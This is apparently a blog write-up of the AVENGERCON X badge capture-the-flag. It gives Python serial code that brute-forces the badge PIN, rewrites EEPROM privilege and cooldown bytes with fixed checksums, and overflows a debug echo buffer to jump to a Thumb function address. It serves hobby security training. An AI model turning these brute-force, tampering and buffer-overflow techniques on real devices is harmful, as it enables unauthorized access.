VnutZ Domain
Copyright © 1996 - 2026 [Matthew Vea] - All Rights Reserved

2026-07-15
Featured Article

AVENGERCON X Badge CTF

[index] [265 page views]
Tagged As: Army, Cyber, Hacking, How To, and Programming

Introduction

Richard Shmel has been making badges for Army's AVENGERCON for years. The first electronic badges featured a scavenger hunt for codes to activate lights. The electronic badge became more complicated (and fun) for the second and third generations by including a CTF hidden in and around the badge.

AVENGERCON X Badge Front

If you couldn't figure out the AVENGERCON X challenges, or didn't have time to try, here is a walk through for defeating Shmel's badge. Tasks range from decoding binary, decrypting ciphertext, reading morse code, implementing a privilege escalation, and coding a buffer overflow. While the flag submission site is now off-line, hopefully documenting the CTF here will allow continued fun figuring out all of the puzzles.

AVENGERCON X Badge Back

Easy Challenge

On the front of the badge are a bunch of 8bit numbers. You could solve it the hard way by converting each of them into their hexadecimal values and looking the codes up on an ASCII table ...

BinaryHexadecimalASCII
0110011066f
011011006Cl
0110000161a
0110011167g
011110117B{
00110010322
0110010165e
011110107Az
011111017D}

... or just paste them into a converter and reveal the flag -- flag{2ez}.

Serial Port Challenge

On the side of the badge is a micro-USB port. Given that AVENGERCON IX's CTF was accessed through the serial port, it seemed logical a flag would be hidden there. The easiest way to get the flag was simply plugging the badge into a Linux box, observing the USB device in /dev, cat'ing the output and pushing the badge's reset button.


cat /dev/ttyUSB0
AC10 badge online
Status locked
flag{teKdy7uXcdaAaCQ3}

Officially the challenge was to figure out the proper way to interact with the serial port because the remainder of the challenges require actually interfacing with it programmatically. This was really just a matter of picking the correct baud rate - 1200, 2400, 4800, 9600, 18200, 38400, 57800, org 115600. Just for the nerds, why are baud rates those numbers anyway? It really goes back to the original telco days for symbols per second and is governed by time divisions based on timing crystals for older electronics.

Anyway, just using minicom and trying to read from the port easily identifies the correct baud rate. Run the program with a set rate and push the reset button. Fortunately he did not wildly increase the choices by leaving stop and parity bits alone. If you get garbled symbols, do it again with another baud. When it finally comes back intelligibly, you've found the correct baud rate and flag — flag{teKdy7uXcdaAaCQ3}.


minicom -D /dev/ttyUSB0 -b 115600
minicom -D /dev/ttyUSB0 -b 57600
minicom -D /dev/ttyUSB0 -b 38400

Python Program

Everything from this point on requires interacting with the badge using it's API. Fortunately, the CTF provided that information:

For the rest of the CTF solutions, we'll slowly expand a Python program by adding functions for each challenge. But to get started, this skeleton code will become the basis for everything else.


import serial
import string
import time
import sys

SERIAL_PORT ='/dev/ttyUSB0'
BAUD_RATE = 38400

################################################################################
# function opens the serial port and returns an object
################################################################################
def open_serial():
    print(f"[INFO] Connecting to {SERIAL_PORT}")
    try:
        ser = serial.Serial(
                port = SERIAL_PORT,
                baudrate = BAUD_RATE,
                bytesize = serial.EIGHTBITS,
                parity = serial.PARITY_NONE,
                stopbits = serial.STOPBITS_ONE,
                timeout = 1
            )
        return ser
    except serial.SerialException as e:
        print(f"[ERROR] error - {e}")
        sys.exit(1)

################################################################################
# function sends commands and payloads to the serial port with a reponse retry
################################################################################
def send_serial(ser, command, payload, delay=0.015):
    retry = True
    try:
        while retry:
            retry = False if delay >= 1 else True
            if len(payload) > 0:
                ser.write(command + payload)
            else:
                ser.write(command)
            time.sleep(delay)
            if ser.in_waiting > 0:
                response = ser.read(ser.in_waiting)
                return response
            elif retry:
                print(f"[ERROR] no response ... extending delay\n")
                delay = 1
            else:
                print(f"[ERROR] no response ... fail\n")
                return b"DEADBEEF"
    except Exception as e:
        print(f"[ERROR] {e}")
        ser.close()
        sys.exit(1)


################################################################################
# main ... obviously
################################################################################
def main():
    print(f"Beat Navy")
   
if __name__ == "__main__":
    main()

This program provides a skeleton from which to solve the rest of the challenges - open_serial() and send_serial() will be used by everything else. Intuitively from the name, open_serial() will open the serial port with the appropriate baud rate, stop bit, and parity bit.

The send_serial() function takes three parameters and an optional fourth. The first is the serial port object returned by open_serial(). The second is the appropriate badge op code from the reference document. The third is whatever byte string is intended for a payload. The optional fourth represents a wait interval for making sure the chip has enough time to respond without reading too quickly (defaults to 15 milliseconds). If there is no data after the specified wait interval, the function will pause for a second and then try again before bailing out.

In testing, I found trying to read the port faster than 15 milliseconds usually resulted in no data. It would be possible to just loop against reading the ser.in_waiting() function until data was available but I wanted the function to kill itself if nothing came back (which is useful in later challenges).

Unlock the Badge Challenge

You probably noticed the badge indicated a "locked" status. The next flag comes from unlocking the badge. It's a five digit PIN which means you've potentially got 99,999 numbers to brute force through. Add a simple function to perform five nested for loops to iterate through all 99,999 PIN combinations. Exception handling provides an easy way to terminate the loop when the proper PIN is discovered. There's an API call for unlocking the badge.

0xC0 - Authenticate (Unlock)
The badge boots into an AUTH_LOCKED state and will drop all hardware commands until a valid 5-digit PIN is provided.
  • Request: 0xC0 [Digit 1] [Digit 2] [Digit 3] [Digit 4] [Digit 5]
    • Note: Digits must be provided as raw hex values (e.g., 0x09, not ASCII '9').
  • Response (Success): 0x30 0x01
  • Response (Failure): 0x30 0x00

Sending the 0xC0 opcode followed by a payload of the digits (in binary - not as ASCII numbers) to the badge attempts to unlock it. A failed PIN will return 0x30 and 0x00 in the response. Success comes from detecting bytes 0x30 and 0x01 in the response followed by the flag.


################################################################################
# function brute forces the badge PIN
################################################################################
def brute_unlock():
    ser = open_serial()
    try:
        for byte1 in range(10):
            for byte2 in range(10):
                for byte3 in range(10):
                    for byte4 in range(10):
                        for byte5 in range(10):
                            payload = bytes([byte1,byte2,byte3,byte4,byte5])
                            command = bytes([0xc0])
                            response = send_serial(ser, command, payload)
                            if response[0] == 0x30 and response[1] == 0x01:
                                print(f"[INFO] Found PIN -- {byte1} {byte2} {byte3} {byte4} {byte5}")
                                raise ValueError(f"[INFO] terminating brute force")
    except Exception as e:
        print(f"{str(e)}")
    ser.close()

################################################################################
# main ... obviously
################################################################################
def main():
    brute_unlock()

When approaching the brute force, I had the classic question of whether to loop in reverse thinking Richard would hide the PIN at the high end. But then I knew he'd think we'd think that and put it back at the low end. But then I ... yeah, you get the idea. Stop thinking about it and just let the computer do the work to reveal the flag -- flag{96Aka5ShrDq7av35}.

Blinking Lights Challenge

The next challenge was to activate the badge's LED. The API provided an opcode, 0xC1, for controlling the states of the LED.

0xC1 - LED Control
Overrides the default LED state to trigger internal hardware tasks.
  • Request: 0xC1 [State] (Where 0x00 is OFF and 0x01 is ON).
  • Response: 0x31 [State] (Command Acknowledged)

Two quick functions to the program take care of this. The first is unlock() whose purpose should be intuitively obvious to the most casual observer. Rather than brute forcing the badge everytime, unlock() simply sends the 80683 PIN previously discovered to enable the rest of the badge's functions.

################################################################################
# function unlocks the badge
################################################################################
def unlock():
    ser = open_serial()
    payload = bytes([8,0,6,8,3])
    command = bytes([0xc0])
    response = send_serial(ser, command, payload)
    print(f"[INFO] {response}")
    ser.close()

################################################################################
# function activates the badge LEDs
################################################################################
def leds():
    ser = open_serial()
    payload = bytes([0x01])
    command = bytes([0xc1])
    response = send_serial(ser, command, payload)
    if response == b'\x31\x01':
        print(f"[INFO] {response}")
    ser.close()

################################################################################
# main ... obviously
################################################################################
def main():
    unlock()
    leds()

The addition of the leds() function simply sends the aforementioned opcode and LED status value to the badge. Finally, modify the main() to call the new functions. Running the program will reveal the LED is now on ... but blinking. Richard is a die hard RF junkie so it should be no surprise the LED is blinking in morse code. Watch the blinks for awhile and you'll eventually derive the next flag -- CWMODE.


- ⋅ - ⋅   ⋅ - -   - -   - - -   - ⋅ ⋅   ⋅
CWMODE

Encryption Challenge

All CTF's tend to incorporate an encryption challenge of some sort. The CTF prompt itself was about two factor authentication. The API document provides opcode 0xC2 for activating a key polling feature.

0xC2 - Key Polling Enable
Enables a background polling task for the deluxe 2FA hardware addition! Only 29.99 a month!
Once the 2FA key is pulled, the task ends and the state machine falls back to idle.
  • Request: 0xC2 [State] (Where 0x00 is OFF and 0x01 is ON).
  • Response: 0x32 [State] (Command Acknowledged)

Seemingly nothing happens. Now look closely at the front of the AVENGERCON X badge. There is a picture of a key beside two jumper pins. While the badge is in polling mode, use something metallic and short the pins. This causes the badge to reveal a series of bytes. Coincidentally, the number of bytes returned matches the number of hexadecimal bytes printed on the back of the AVENGERCON X badge. Now simply XOR the provided decryption key onto the badge's cipher text and reveal the flag -- flag{7d86clv72vzksdwgv4fka9padb}.

The following crypto() function will put the badge into polling mode, wait for the jumpers to be shorted, print the decryption key, perform the XOR, print the plaintext, and return the badge to normal operation. Remember to call unlock() and crypto() from the main() function.


################################################################################
# function decodes the badge's encrypted 32 byte code
################################################################################
def crypto():
    ser = open_serial()
    payload = bytes([0x01])
    command = bytes([0xc2])
    response = send_serial(ser, command, payload)
    polling = True
    print(f"Put the jumper on the badge pins")
    while polling:
        time.sleep(10)
        print(f"Waiting ...")
        if ser.in_waiting > 0:
            response = ser.read(ser.in_waiting)
            print(f"[INFO] decryption key : {response}")
            print(f"[INFO] decryption key length : {len(response)} bytes")
            polling = False
            break
    # decrypt the cipher text (XOR)
    ctext = bytes([0xE9, 0xD3, 0xA8, 0x9A, 0x38, 0xD9, 0xB8, 0x8F, 0x17, 0x55, 0xA8, 0x6E, 0x41, 0xB5, 0xDC, 0xFE, 0xBC, 0xEC, 0x39, 0xEB, 0xC9, 0xC1, 0x78, 0x74, 0x40, 0x7F, 0xFE, 0x76, 0x75, 0x2C, 0xC8, 0x46])
    ptext = bytes(c ^ k for c, k in zip(ctext, response))
    print(f"[INFO] plaintext : {ptext.hex()}") 
    print(f"[INFO] plaintext : {ptext.decode('ascii')}") 
    # turn off 2FA polling
    payload = bytes([0x00])
    command = bytes([0xc2])
    response = send_serial(ser, command, payload)
    ser.close()

Tokens Challenge

This challenge prompts with "HA HA HA I HAVE MORE SUPER COOL AVENGER TOKENS THAN YOU DO. ALL CAPS MEANS I AM YELLING!" First, you need to determine how many tokens you have. Second, you need to get more tokens. Let's look at the two badge API opcodes that help.

0xC6 - Increment Avenger Token
Increments the internal token counter located in the EEPROM profile. Triggering this command enforces a strict 255-second cooldown before it can be called again. Subject to memory integrity checksum (0x04).
  • Request: 0xC6
  • Response (Success): 0x36 0x01 0x00 [Current Token Count]
  • Response (Error): 0x36 0x00 [Cooldown Seconds Remaining] [Current Token Count or Error Code 0x04]
0xC7 - Diagnostic Profile Dump
Helper function that dumps the entirety of the 8-byte EEPROM profile block, regardless of read cooldowns, and evaluates the checksum integrity.
  • Request: 0xC7
  • Response: 0x37 [8 Bytes of Profile Data] [Corruption Flag]
      Profile Data Fields (Bytes 0-7):
    • Byte 0: ID Byte 1
    • Byte 1: ID Byte 2
    • Byte 2: AvengerCon Token Count
    • Byte 3: Cooldown Timer (High byte)
    • Byte 4: Cooldown Timer (Low byte)
    • Byte 5: Privilege Level (0 for Basic, 1 for Admin)
    • Byte 6: Checksum (High byte)
    • Byte 7: Checksum (Low byte)
  • Corruption Flag: 0x00 = Valid Checksum, 0x01 = Checksum Corrupted.

Sending opcode 0xC7 to the unlocked badge and interpreting the resultant byte at offset 2 shows the badge only has one token in its default state. The solution to this challenge requires increasing that token count above some unknown value.

There are two ways to approach this challenge. The first would make repeated use of the 0xC6 opcode to just keep incrementing the token count until it crosses a threshold. According to the documentation, each call of this function imposes a 255 second cooldown period before it can be called again. If the threshold were to max out the byte - 0xFF - that would require 254 API calls costing 64,770 seconds of cooldown, or roughly 18 hours.

What if that cooldown time could be overridden? With the 0xC5 opcode, its possible to override the high and low bytes of the cooldown timer at offsets 3 and 4. Changing the cooldown to zero would allow rapidly calling the 0xC6 opcode to increment the token without waiting.

0xC5 - Write
Writes a single byte to the EEPROM.
  • Request: 0xC5 [Address] [Data Byte]
  • Response (Success): 0x35 0x01 0x00
  • Response (Error): 0x35 0x00 [Global Error Code]

But if you're already going to modify the table, why not just modify the token counter directly and skip all the repetitive writes? That's option 2. This challenge will require some additional helper functions -- calc_checksum() and fix_checksum() -- to make things easier (and which will be re-used for later challenges). There is a two byte checksum on the EEPROM profile block and the AVENGERCON badge likes to "not work" if the contents of the block don't compute against the stored checksum. The fix_checksum() function will simply read the EEPROM block, call calc_checksum() to generate the new hexadecimal values using the modulo 65535 checksum algorithm, and then use the 0xC5 opcode to write the corrected values.

NOTE: There was some trial and error figuring out which checksum algorithm to use. It really just involved sending a "good" buffer into online checksum calculators and then looking at which one produced the same values that were currently in the checksum fields.


################################################################################
# function computes new modulo 65535 checksum
################################################################################
def calc_checksum(buffer):
    sum = 0
    for i in range(len(buffer)):
         sum += buffer[i]
    print(f"[DEBUG] sum = {sum:02X}")
    chk = sum % 65535
    hi = (chk >> 8) & 0xFF
    lo = chk & 0xFF
    print(f"[DEBUG] checksum is {chk:02X}")
    return hi, lo

################################################################################
# function writes corrected checksum
################################################################################
def fix_checksum():
    print(f"[DEBUG] fix_checksum()")
    ser = open_serial()
    command = bytes([0xc7])
    response = send_serial(ser, command, '')
    # fix checksum
    hi, lo = calc_checksum(response[1:7])
    payload = bytes([0x07, lo])
    command = bytes([0xc5])
    response = send_serial(ser, command, payload)
    print(f"[DEBUG] {response}")
    payload = bytes([0x06, hi])
    command = bytes([0xc5])
    response = send_serial(ser, command, payload)
    print(f"[DEBUG] {response}")
    ser.close()

Now there are functions for fixing the diagnostic profile block on demand. The procedure for defeating this challenge is now at hand. Technically, you could skip the first step, but it's good to read the diagnostic profile block to establish the baseline and confirm the badge is in a good state (e.g. tokens are defaulted at one). Second, use the 0xC5 opcode to arbitrarily max out the token value to 0xFF (255). Third, call the fix_checksum() function to make the diagnostic profile block "good" again. Lastly, call the 0xC6 opcode to increment the AVENGERCON token count (rolling it over from the max) and get the flag -- flag{9zMrqAtufPZL2M2g}.

The following max_tokens() function encapsulates this strategy to handle getting the flag. Remember to call unlock() before calling max_tokens() in main().


################################################################################
# function maxes the tokens byte and corrects the checksum
################################################################################
def max_tokens():
    print(f"\n[INFO] max_tokens() ... solving token challenge")
    ser = open_serial()
    # current value
    command = bytes([0xc7])
    response = send_serial(ser, command, '')
    print(f"[INFO] {response}")
    print(f"[TOKENS] {response[3]}")
    # toggle tokens byte
    payload = bytes([0x02, 0xFF])
    command = bytes([0xc5])
    response = send_serial(ser, command, payload)
    print(f"[DEBUG] {response}")
    # fix checksum
    fix_checksum()
    # check value
    command = bytes([0xc7])
    response = send_serial(ser, command, '')
    print(f"[INFO] {response}")
    print(f"[TOKENS] {response[3]}")
    # increment tokens
    command = bytes([0xc6])
    response = send_serial(ser, command, '', 5)
    print(f"[INFO] {response}")
    ser.close()

EEPROM Challenge

The EEPROM challenge has two flags stored on the AVENGERCON X badge's ST24C02 EEPROM (datasheet). Getting those flags requires reading the 256 bytes of the EEPROM. Fortunately, in addition to the previously used opcodes, the API includes two additional opcodes that will be useful for the challenge. 0xC4 allows for reading a byte and 0xC3 allows for getting permission information about a memory address.

0xC3 - Memory Probe
Queries the EEPROM Access Control Layer (ACL) for the access rights of a specific memory address.
  • Request: 0xC3 [Address]
  • Response: 0x33 [Permission Mask]
      Permission mask is a single byte 0b0000VWRP
    • V (Valid): memory region is mapped and valid.
    • W (Write): memory can be modified using the write command.
    • R (Read): memory can be read using the read command.
    • P (Privilege): requires elevated privileges.
0xC4 - Secure Read
Reads a single byte from the EEPROM. Subject to Privilege Checks, Checksum Integrity, and Cooldown Throttling.
  • Request: 0xC4 [Address]
  • Response (Success): 0x34 0x01 [Data Byte]
  • Response (Error): 0x34 0x00 [Global Error Code]
Global EEPROM Error Codes
Several commands interface with the onboard I2C EEPROM manager. If a read or write operation fails, the badge will return a Status byte of 0x00 followed by one of these Global Error Codes:
  • 0x00 - Unknown Error: General hardware fault.
  • 0x01 - Invalid Address: Memory out of bounds.
  • 0x02 - Permission Error: Attempted to read/write without sufficient privilege level.
  • 0x03 - Cooldown Active: Attempted to read memory faster than allowed. Memory reads enforce a strict cooldown between calls for legacy system interfacing.
  • 0x04 - Memory Corruption: The writable-memory checksum is invalid. All further read access is halted until the checksum is repaired

With some functions like this, it seems obvious that using 0xC4 to loop through addresses 0x00 to 0xFF will solve the challenge. This is where the obnoxious narrator voices over, "The hacker thought he could just read all the addresses. He couldn't." That is what the 0xC3 opcode was provided for. Loop through the 0x00 to 0xFF addresses again and look at the permissions.

Here are some functions to make this possible. The decode_error(err) function will handle printing out the error codes. At this point in the challenges, the tweaks necessary to read all the flags basically break the AVENGERCON badge regularly and interpreting the errors is the only way to troubleshoot what happened before pressing the reset button. The eeprom() function will walk through all of the addresses and print out the relevant ACL data to show why simply reading all the addresses failed.


################################################################################
# function decodes global EEPROM error codes
################################################################################
def decode_error(err):
    if err == 0x00:
        print(f"[ERROR] Unknown - General Hardware Fault")
    if err == 0x01:
        print(f"[ERROR] Invalid Address")
    if err == 0x02:
        print(f"[ERROR] Permission Error")
    if err == 0x03:
        print(f"[ERROR] Cooldown Active")
    if err == 0x00:
        print(f"[ERROR] Memory Corruption")

################################################################################
# function maps eeprom permission values
################################################################################
def eeprom(start=0,finish=255):
    ser = open_serial()
    for address in range(start,finish):
        payload = bytes([address])
        command = bytes([0xc3])
        response = send_serial(ser, command, payload)
        val = int.from_bytes(response, byteorder='big')
        is_valid = (val & 8) != 0
        is_write = (val & 4) != 0
        is_read  = (val & 2) != 0
        is_priv  = (val & 1) != 0
        print(f"[INFO] Addr {address}, {val:08b}, V:{is_valid}, W:{is_write}, R:{is_read}, P:{is_priv}")
    ser.close()

In summary, the eeprom() function revealed four main blocks of memory ACLs. The first block didn't matter, it was thoroughly analyzed during the tokens challenge. The second block of 215 addresses is fully readable. It stands to reason one of the flags will be there as a tease. The third block of 16 addresses can be read but requires elevated permissions to do so. A privilege escalation required to read memory sounds like an ideal way to hide another flag. There are no permissions to access the final block at all ... but that's a problem for the final challenge.

AddressesPermissionsComments
000-007Read/WriteEEPROM profile block
008-223Read Only
224-240Read OnlyPrivileges Required
240-255No Read/No WritePrivileges Required

Two additional helper functions will make the rest of the challenge possible. Remember that in the EEPROM profile block there is a byte at offset 5 labeled "Privilege Level" and by default it happens to be zero. Just like in the tokens challenge, editing the EEPROM profile block can be achieved with the 0xC5 opcode for writing to memory and flipping the field to one. Then utilizing the previous helper functions to fix the EEPROM profile block's checksum and we should be able to use the read opcodes with privileges. All of this functionality is rolled into the make_admin() helper function.

The second new helper function will ensure the EEPROM reads don't incur cooldown errors for reading too fast. Add zero_cooldown() which will write zeroes to the high and low bytes of the cooldown field in the EEPROM profile block. Just like the privilege toggle, changing the EEPROM profile block also requires a call to the fix_checksum() helpers.


################################################################################
# function toggles the "is admin" byte and corrects the checksum
################################################################################
def make_admin(val=1):
    ser = open_serial()
    # current value
    command = bytes([0xc7])
    response = send_serial(ser, command, '')
    print(f"[INFO] {response}")
    print(f"[ADMIN] {response[6]}")
    # toggle admin byte
    payload = bytes([0x05, val])
    command = bytes([0xc5])
    response = send_serial(ser, command, payload)
    print(f"[DEBUG] {response}")
    # fix checksum
    fix_checksum()
    # check value
    command = bytes([0xc7])
    response = send_serial(ser, command, '')
    print(f"[INFO] {response}")
    print(f"[ADMIN] {response[6]}")
    ser.close()

################################################################################
# function zeroes the cooldown
################################################################################
def zero_cooldown():
    ser = open_serial()
    # current value
    command = bytes([0xc7])
    response = send_serial(ser, command, '')
    print(f"[INFO] {response}")
    print(f"[COOLDOWN] {response[4]} {response[5]}")
    # zero cooldown hi byte
    payload = bytes([0x03, 0x00])
    command = bytes([0xc5])
    response = send_serial(ser, command, payload)
    print(f"[DEBUG] {response}")
    # zero cooldown lo byte
    payload = bytes([0x04, 0x00])
    command = bytes([0xc5])
    response = send_serial(ser, command, payload)
    print(f"[DEBUG] {response}")
    # fix checksum
    fix_checksum()
    # check value
    command = bytes([0xc7])
    response = send_serial(ser, command, '')
    print(f"[INFO] {response}")
    print(f"[COOLDOWN] {response[4]} {response[5]}")
    ser.close()

All the necessary code helper functions are in place. Call unlock(), zero_cooldown(), and make_admin() to prepare the environment. Then loop through all the addresses with privilege and locate the flags. To make it easier, a function called addr_read() will handle looping through the provided address range and save the output to a file for easier viewing.


################################################################################
# function reads the entire eeprom and saves to a binary file
################################################################################
def addr_read(start=0, finish=255):
    for addr in range(start,finish):
        ser = open_serial()
            print(f"[INFO] Reading address {addr}")
            payload = bytes([addr])
            command = bytes([0xc4])
            response = send_serial(ser, command, payload)
            print(f"[DEBUG] {response}")
            if response[1] == 0x00:
                decode_error(response[2])
            else:
                with open("eeprom.bin", "ab") as file:
                    file.write(bytes(response[2:3]))
        ser.close()

Running the addr_read() function will save it's output to eeprom.bin for analysis. Use any binary viewer and hunt for the flags. Only one will stand out, the flag from the privileged memory block -- flag{4qnjbc89z3}.


00000000: ac10 0109 c401 018b 37be 2c8a e62b 021a  ........7.,..+..
00000010: 88a2 84ec 4cfb 9f4a ae10 668e 5cc9 34c0  ....L..J..f.\.4.
00000020: 913a 39a7 cb20 1f4d 0d63 925a 911b 7ba4  .:9.. .M.c.Z..{.
00000030: f1db 4f99 c6e0 44b1 3060 307b 7166 694e  ..O...D.0`0{qfiN
00000040: 1985 94b6 d8b1 dea0 39da ed18 3985 6bcc  ........9...9.k.
00000050: 65f0 d97e 7a72 723e 672c a455 6382 fcf5  e..~zrr>g,.Uc...
00000060: 6d94 7127 37c6 6f8c 955f d73b 5c2a 391e  m.q'7.o.._.;\*9.
00000070: 6b9b 81d2 9b35 99c7 14f4 7721 5afd e8a6  k....5....w!Z...
00000080: aab7 6464 c13d 5e0b 98a3 6ab8 7748 6c92  ..dd.=^...j.wHl.
00000090: 3989 61b6 67b0 7614 45d9 5c26 71ae 2ca9  9.a.g.v.E.\&q.,.
000000a0: 5305 74de 306e 303c 339c 249d d690 7b6d  S.t.0n0<3.$...{m
000000b0: 3708 3edf 3388 672e f12d 421c 035a 3556  7.>.3.g..-B..Z5V
000000c0: 62a6 57a1 3dcf 68de 8408 9fc3 7d00 fec8  b.W.=.h.....}...
000000d0: 151c f3c7 5b65 c3d7 ef61 6e5c 7624 3338  ....[e...an\v$38
000000e0: 666c 6167 7b34 716e 6a62 6338 397a 337d  flag{4qnjbc89z3}

Admittedly, I needed a hint to find the flag hidden in the non-privileged address space. Looking at the ASCII printable characters, it was evident from the visible "{" and "}" characters and nearby "f-l-a-g" letters that the flag was present but scrambled. Trying to chain the printable characters in the order they appear was not the solution, so there must have been a chain of some sort. The hint Richard provided was to "think of data structures." It obviously was not a traditional null terminated array. Structures and Unions would have either had the string condensed within or pointed at the string which rule them out. A linked list?

Looking at the first "f", which is hexadecimal 0x66, is followed by hexadecimal 0x8E. If that's an address, than 0x8E should contain an "l", which is hexadecimal 0x6C. It does. Finding the flag is a matter of recording each plaintext ASCII character and then looking at the following hexadecimal value as the address to the next ASCII character. This will reveal the second flag of the challenge -- flag{094b0qow9ncd7h30mg775rik} .


f 66 -> 8E     l 6C -> 92     a 61 -> B6     g 67 -> 2E     { 7B -> A4     
0 30 -> 6E     9 39 -> 1E     4 34 -> C0     b 62 -> A6     0 30 -> 3C
q 71 -> 66     o 6F -> 8C     w 77 -> 48     9 39 -> DA     n 6E -> 5C
c 63 -> 82     d 64 -> 64     7 37 -> C6     h 68 -> DE     3 33 -> 38
0 30 -> 60     m 6D -> 94     g 67 -> B0     7 37 -> 08     7 37 -> BE
5 35 -> 56     r 72 -> 3E     i 69 -> 4E     k 6B -> CC     } 7D -> DONE

Buffer Overflow Challenge

The final challenge provides the prompt, "Some lazy developer left two debug functions in the source code. Probably nothing to worry about, we will fix it next patch." In another provided snippet, the challenge includes source code for the Debug_Echo function and Debug_DumpLockedMemory function.


Disassembly of section .text:

08000ce0 :
 8000ce0:	b590      	push	{r4, r7, lr}
 8000ce2:	b087      	sub	sp, #28
 8000ce4:	af00      	add	r7, sp, #0
 8000ce6:	6078      	str	r0, [r7, #4]
 8000ce8:	000a      	movs	r2, r1
 8000cea:	1cbb      	adds	r3, r7, #2
 8000cec:	801a      	strh	r2, [r3, #0]
 8000cee:	1cbb      	adds	r3, r7, #2
 8000cf0:	881a      	ldrh	r2, [r3, #0]
 8000cf2:	6879      	ldr	r1, [r7, #4]
 8000cf4:	2408      	movs	r4, #8
 8000cf6:	193b      	adds	r3, r7, r4
 8000cf8:	0018      	movs	r0, r3
 8000cfa:	f001 ff2b 	bl	8002b54 
 8000cfe:	1cbb      	adds	r3, r7, #2
 8000d00:	881b      	ldrh	r3, [r3, #0]
 8000d02:	b2da      	uxtb	r2, r3
 8000d04:	193b      	adds	r3, r7, r4
 8000d06:	0019      	movs	r1, r3
 8000d08:	2038      	movs	r0, #56	@ 0x38
 8000d0a:	f7ff fe6d 	bl	80009e8 
 8000d0e:	46c0      	nop			@ (mov r8, r8)
 8000d10:	46bd      	mov	sp, r7
 8000d12:	b007      	add	sp, #28
 8000d14:	bd90      	pop	{r4, r7, pc}

08000d18 :
 8000d18:	23fa      	movs	r3, #250	@ 0xfa
 8000d1a:	b530      	push	{r4, r5, lr}
 8000d1c:	2410      	movs	r4, #16
 8000d1e:	b08d      	sub	sp, #52	@ 0x34
 8000d20:	009b      	lsls	r3, r3, #2
 8000d22:	ad04      	add	r5, sp, #16
 8000d24:	22f0      	movs	r2, #240	@ 0xf0
 8000d26:	9302      	str	r3, [sp, #8]
 8000d28:	21a0      	movs	r1, #160	@ 0xa0
 8000d2a:	2301      	movs	r3, #1
 8000d2c:	480b      	ldr	r0, [pc, #44]	@ (8000d5c )
 8000d2e:	9401      	str	r4, [sp, #4]
 8000d30:	9500      	str	r5, [sp, #0]
 8000d32:	f000 fd0b 	bl	800174c 
 8000d36:	0022      	movs	r2, r4
 8000d38:	2800      	cmp	r0, #0
 8000d3a:	d10a      	bne.n	8000d52 
 8000d3c:	0029      	movs	r1, r5
 8000d3e:	a808      	add	r0, sp, #32
 8000d40:	f001 ff08 	bl	8002b54 
 8000d44:	2210      	movs	r2, #16
 8000d46:	20aa      	movs	r0, #170	@ 0xaa
 8000d48:	a908      	add	r1, sp, #32
 8000d4a:	f7ff fe4d 	bl	80009e8 
 8000d4e:	b00d      	add	sp, #52	@ 0x34
 8000d50:	bd30      	pop	{r4, r5, pc}
 8000d52:	21ff      	movs	r1, #255	@ 0xff
 8000d54:	a808      	add	r0, sp, #32
 8000d56:	f001 fed0 	bl	8002afa 
 8000d5a:	e7f3      	b.n	8000d44 
 8000d5c:	20000398 	.word	0x20000398

Basically, there was an unreadable section of the EEPROM and now there is a function that can read locked memory. The Debug_DumpLockedMemory will likely reveal the missing flag, it just comes down to figuring out how to call it. It's already possible to call the first function and bears the hint regarding staying limited to "short messages."

0xC8 - Legacy Debug Echo
A deprecated diagnostic tool that echoes payloads back to the terminal. Warning: only use this for short messages.

(Yeah, nothing suspicious about that.)
  • Request: 0xC8 [Payload Bytes.]
  • Response: 0x38 [Echoed Payload Bytes]

Still without looking at the code, the challenge implies a potential buffer overflow. Whatever is sent to the 0xC8 opcode in a payload is echoed back. Now looking at the source code for the debug_echo, it includes a memcpy() which copies the payload into a 20 byte buffer allocated on the stack. One can visually determine the critical address begins around offset 28 based on the sub sp, #28 instruction which allocated the local variables on the stack. The more "classic hackery" way to determine whether its possible to control the return address (pushed on to the stack with the push {r4, r7, lr} instruction) is to progressively write a longer string of ASCII "A" characters until the code dies.

With the following snippet, slowly increase the "* 20" multiplier after the "A" (ASCII 0x41) until the badge crashes. How do you know when it dies? If a subsequent call to the debug_echo function works, then the return address was not overwritten. Way back when the send_serial() function was written, it included a timeout the would return 0xDEADBEEF to know nothing happened.


    payload = bytes([0x41]) * 20
    command = bytes([0xc8])
    print(f"[INFO] sending ...")
    response = send_serial(ser, command, payload, 5)
    print(f"[INFO] {response}")
    print(f"[INFO] sending ...")
    response = send_serial(ser, command, bytes([0xB,0x0,0x0,0xB]), 5)
    print(f"[INFO] {response}")

Once the payload reaches the 29th "A" byte, the second function call ceases to echo 0xB00B because the first function call never properly returned. Now, it's just a matter of sending 28 "A" characters and then appending the address of the Debug_DumpLockedMemory function (0x08000d18) to the end in order to overwrite the return.

Surprise, that doesn't work. The address needs to be flipped around to account for endianess -- bytes([0x18, 0x0d, 0x00, 0x08]).

Surprise, that doesn't work either. It turns out, the final trick was a devious move by Richard.

On ARM processors, there is a thing called Thumb and it allows for an optimization of bytes to mix 16bit and 32bit opcodes. When it comes to thumb function addressing, thumb code will have an odd address by setting the least significant bit. This means the calling address needs to be 0x08000d19. Richard included this gotcha in order to stymie folks feeding the function source code to AI but forgot most humans don't know ARM assembly code either. The following function will reveal the final flag -- flag{ai9ru0t1xa}.


################################################################################
# function uses debug
################################################################################
def debug():
    ser = open_serial()
    payload = bytes([0x41]) * 28 + bytes([0x19, 0x0d, 0x00, 0x08])
    command = bytes([0xc8])
    print(f"[INFO] sending ...")
    response = send_serial(ser, command, payload, 5)
    print(f"[INFO] {response}")
    print(f"[INFO] sending ...")
    response = send_serial(ser, command, bytes([0xB,0x0,0x0,0xB]), 5)
    print(f"[INFO] {response}")
    while True:
        if ser.in_waiting > 0:
            response = ser.read(ser.in_waiting)
            print(f"{response}")
        time.sleep(1)
    ser.close()

Conclusion

The AVENGERCON X badge CTF was pretty cool - thank you Richard Shmel.

Python Source Code Solution : AC10.py



More site content that might interest you:

The "Hillary Defense" precedent has now been established and should protect both incompetent and malicious intelligence leaks from this day forward.


Try your hand at fate and use the site's continuously updating statistical analysis of the MegaMillions and PowerBall lotteries to choose "smarter" number. Remember, you don't have to win the jackpot to win money from the lottery!


Tired of social media sites mining all your data? Try a private, auto-deleting message bulletin board.


paypal coinbase marcus